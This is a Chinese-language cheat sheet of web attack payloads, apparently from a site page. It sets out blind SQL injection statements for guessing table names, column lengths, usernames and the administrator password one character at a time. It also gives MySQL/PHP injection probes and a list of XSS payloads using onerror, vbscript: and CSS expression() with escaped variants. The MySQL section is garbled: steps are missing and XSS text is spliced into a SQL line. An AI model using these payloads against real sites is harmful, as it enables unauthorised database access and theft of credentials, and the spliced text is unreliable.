ASCII逐字解码法:
1、猜解列长度 and (select top 1 len(列名)from 表名)>N 其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7 猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用户和密码 ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码 猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码 区间判断语句:....between......and...... 中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。 例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码
ASCII逐字解码法的应用: 1、猜解表名:and (select count(*) from admin)<>0 2、猜解列名:and (select count(列名) from 表名)<>0 3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。 4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。 5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0 最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值 6、猜解管理员的密码: 按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
MYSQL+PHP注入: 1.判断是否存在注入,加';and 1=1 ;and 1=2 2.判断版本 and ord(mid(version(),1,1))>51 代替。 5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 onerror=alert(/xss/) width=150></img> ( 表示注释) <img src=vbscript:msgbox ("xss")></img> <style> input {left:expression (alert('xss'))}</style> <div style={left:expression (alert('xss'))}></div> <div style={left:expression (alert('xss'))}></div> <div style={left:\0065\0078ression (alert('xss'))}></div> html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
(责任编辑:admin) |